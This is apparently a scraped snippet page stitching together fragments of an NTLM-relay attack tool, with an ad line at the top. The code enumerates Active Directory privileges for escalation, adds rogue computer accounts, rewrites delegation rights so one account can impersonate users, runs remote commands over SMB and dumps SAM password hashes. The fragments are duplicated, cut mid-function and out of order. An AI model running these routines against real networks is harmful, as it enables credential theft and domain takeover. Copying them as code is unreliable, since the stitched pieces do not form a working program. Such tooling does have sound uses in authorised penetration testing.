Secure your code as it's written. Use Snyk Code to scan source code in minutes - no build needed - and fix issues immediately.
# Set up a default config
domainDumpConfig = ldapdomaindump.domainDumpConfig()
# Change the output directory to configured rootdir
domainDumpConfig.basepath = self.config.lootdir
# Create new dumper object
domainDumper = ldapdomaindump.domainDumper(self.client.server, self.client, domainDumpConfig)
# If specified validate the user's privileges. This might take a while on large domains but will
# identify the proper containers for escalating via the different techniques.
if self.config.validateprivs:
LOG.info('Enumerating relayed user\'s privileges. This may take a while on large domains')
userSid, privs = self.validatePrivileges(self.username, domainDumper)
if privs['create']:
LOG.info('User privileges found: Create user')
if privs['escalateViaGroup']:
name = privs['escalateGroup'].split(',')[0][3:]
LOG.info('User privileges found: Adding user to a privileged group (%s)' % name)
if privs['aclEscalate']:
LOG.info('User privileges found: Modifying domain ACL')
# If validation of privileges is not desired, we assumed that the user has permissions to escalate
# an existing user via ACL attacks.
else:
LOG.info('Assuming relayed user has privileges to escalate a user via ACL attack')
privs = dict()
privs['create'] = False
privs['aclEscalate'] = True
privs['escalateViaGroup'] = False
# We prefer ACL escalation since it is more quiet
def openSvcManager(self):
LOG.info("Opening SVCManager on %s....." % self.connection.getRemoteHost())
# Setup up a DCE SMBTransport with the connection already in place
self._rpctransport = transport.SMBTransport(self.connection.getRemoteHost(), self.connection.getRemoteHost(),
filename = r'\svcctl', smb_connection = self.connection)
self.rpcsvc = self._rpctransport.get_dce_rpc()
self.rpcsvc.connect()
self.rpcsvc.bind(scmr.MSRPC_UUID_SCMR)
try:
resp = scmr.hROpenSCManagerW(self.rpcsvc)
except:
LOG.critical("Error opening SVCManager on %s....." % self.connection.getRemoteHost())
raise Exception('Unable to open SVCManager')
else:
return resp['lpScHandle']
# Perform the Delegate attack if it is enabled and we relayed a computer account
if self.config.delegateaccess and self.username[-1] == '$':
self.delegateAttack(self.config.escalateuser, self.username, domainDumper)
return
# Add a new computer if that is requested
# privileges required are not yet enumerated, neither is ms-ds-MachineAccountQuota
if self.config.addcomputer:
self.addComputer('CN=Computers,%s' % domainDumper.root, domainDumper)
return
# Last attack, dump the domain if no special privileges are present
if not dumpedDomain and self.config.dumpdomain:
# Do this before the dump is complete because of the time this can take
dumpedDomain = True
LOG.info('Dumping domain info for first time')
domainDumper.domainDump()
LOG.info('Domain info dumped into lootdir!')
'servicePrincipalName': spns,
'sAMAccountName': newComputer,
'unicodePwd': '"{}"'.format(newPassword).encode('utf-16-le')
}
LOG.debug('New computer info %s', ucd)
LOG.info('Attempting to create computer in: %s', parent)
res = self.client.add(newComputerDn.decode('utf-8'), ['top','person','organizationalPerson','user','computer'], ucd)
if not res:
# Adding computers requires LDAPS
if self.client.result['result'] == RESULT_UNWILLING_TO_PERFORM and not self.client.server.ssl:
LOG.error('Failed to add a new computer. The server denied the operation. Try relaying to LDAP with TLS enabled (ldaps) or escalating an existing account.')
else:
LOG.error('Failed to add a new computer: %s' % str(self.client.result))
return False
else:
LOG.info('Adding new computer with username: %s and password: %s result: OK' % (newComputer, newPassword))
alreadyAddedComputer = True
# Return the SAM name
return newComputer
try:
localAdminSids, localAdminNames = enumLocalAdmins.getLocalAdmins()
LOG.info(u"Host {} has the following local admins (hint: try relaying one of them here...)".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding)))
for name in localAdminNames:
LOG.info(u"Host {} local admin member: {} ".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding), name))
except DCERPCException, e:
LOG.info("SAMR access denied")
return
# Something else went wrong. aborting
LOG.error(str(e))
return
try:
if self.config.command is not None:
remoteOps._RemoteOperations__executeRemote(self.config.command)
LOG.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost())
self.__answerTMP = ''
self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer)
self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output')
print self.__answerTMP.decode(self.config.encoding, 'replace')
else:
bootKey = remoteOps.getBootKey()
remoteOps._RemoteOperations__serviceDeleted = True
samFileName = remoteOps.saveSAM()
samHashes = SAMHashes(samFileName, bootKey, isRemote = True)
samHashes.dump()
samHashes.export(self.__SMBConnection.getRemoteHost()+'_samhashes')
LOG.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost())
except Exception, e:
LOG.error(str(e))
finally:
if samHashes is not None:
targetuser = entry
if not targetuser:
LOG.error('Could not query target user properties')
return
try:
sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=targetuser['raw_attributes']['msDS-AllowedToActOnBehalfOfOtherIdentity'][0])
LOG.debug('Currently allowed sids:')
for ace in sd['Dacl'].aces:
LOG.debug(' %s' % ace['Ace']['Sid'].formatCanonical())
except IndexError:
# Create DACL manually
sd = create_empty_sd()
sd['Dacl'].aces.append(create_allow_ace(escalate_sid))
self.client.modify(targetuser['dn'], {'msDS-AllowedToActOnBehalfOfOtherIdentity':[ldap3.MODIFY_REPLACE, [sd.getData()]]})
if self.client.result['result'] == 0:
LOG.info('Delegation rights modified succesfully!')
LOG.info('%s can now impersonate users on %s via S4U2Proxy', usersam, targetsam)
delegatePerformed.append(targetsam)
else:
if self.client.result['result'] == 50:
LOG.error('Could not modify object, the server reports insufficient rights: %s', self.client.result['message'])
elif self.client.result['result'] == 19:
LOG.error('Could not modify object, the server reports a constrained violation: %s', self.client.result['message'])
else:
LOG.error('The server returned an error: %s', self.client.result['message'])
return
def run(self):
while True:
mtime = os.stat(self.targetprocessor.filename).st_mtime
if mtime > self.lastmtime:
LOG.info('Targets file modified - refreshing')
self.lastmtime = mtime
self.targetprocessor.readTargets()
time.sleep(1.0)
# Why? needed for avoiding INVALID_PARAMETER
if self.__SMBConnection.getDialect() == smb.SMB_DIALECT:
flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags()
flags2 |= smb.SMB.FLAGS2_LONG_NAMES
self.__SMBConnection.getSMBServer().set_flags(flags2=flags2)
remoteOps = RemoteOperations(self.__SMBConnection, False)
remoteOps.enableRegistry()
except Exception as e:
if "rpc_s_access_denied" in str(e): # user doesn't have correct privileges
if self.config.enumLocalAdmins:
LOG.info("Relayed user doesn't have admin on {}. Attempting to enumerate users who do...".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding)))
enumLocalAdmins = EnumLocalAdmins(self.__SMBConnection)
try:
localAdminSids, localAdminNames = enumLocalAdmins.getLocalAdmins()
LOG.info("Host {} has the following local admins (hint: try relaying one of them here...)".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding)))
for name in localAdminNames:
LOG.info("Host {} local admin member: {} ".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding), name))
except DCERPCException:
LOG.info("SAMR access denied")
return
# Something else went wrong. aborting
LOG.error(str(e))
return
try:
if self.config.command is not None:
remoteOps._RemoteOperations__executeRemote(self.config.command)
LOG.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost())
self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer)
self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output')
print(self.__answerTMP.decode(self.config.encoding, 'replace'))
# Default computer SPNs
spns = [
'HOST/%s' % computerHostname,
'HOST/%s.%s' % (computerHostname, domain),
'RestrictedKrbHost/%s' % computerHostname,
'RestrictedKrbHost/%s.%s' % (computerHostname, domain),
]
ucd = {
'dnsHostName': '%s.%s' % (computerHostname, domain),
'userAccountControl': 4096,
'servicePrincipalName': spns,
'sAMAccountName': newComputer,
'unicodePwd': '"{}"'.format(newPassword).encode('utf-16-le')
}
LOG.debug('New computer info %s', ucd)
LOG.info('Attempting to create computer in: %s', parent)
res = self.client.add(newComputerDn.decode('utf-8'), ['top','person','organizationalPerson','user','computer'], ucd)
if not res:
# Adding computers requires LDAPS
if self.client.result['result'] == RESULT_UNWILLING_TO_PERFORM and not self.client.server.ssl:
LOG.error('Failed to add a new computer. The server denied the operation. Try relaying to LDAP with TLS enabled (ldaps) or escalating an existing account.')
else:
LOG.error('Failed to add a new computer: %s' % str(self.client.result))
return False
else:
LOG.info('Adding new computer with username: %s and password: %s result: OK' % (newComputer, newPassword))
alreadyAddedComputer = True
# Return the SAM name
return newComputer
def writeRestoreData(self, restoredata, domaindn):
output = {}
domain = re.sub(',DC=', '.', domaindn[domaindn.find('DC='):], flags=re.I)[3:]
output['config'] = {'server':self.client.server.host,'domain':domain}
output['history'] = [{'operation': 'add_domain_sync', 'data': restoredata, 'contextuser': self.username}]
now = datetime.datetime.now()
filename = 'aclpwn-%s.restore' % now.strftime("%Y%m%d-%H%M%S")
# Save the json to file
with codecs.open(filename, 'w', 'utf-8') as outfile:
json.dump(output, outfile)
LOG.info('Saved restore state to %s', filename)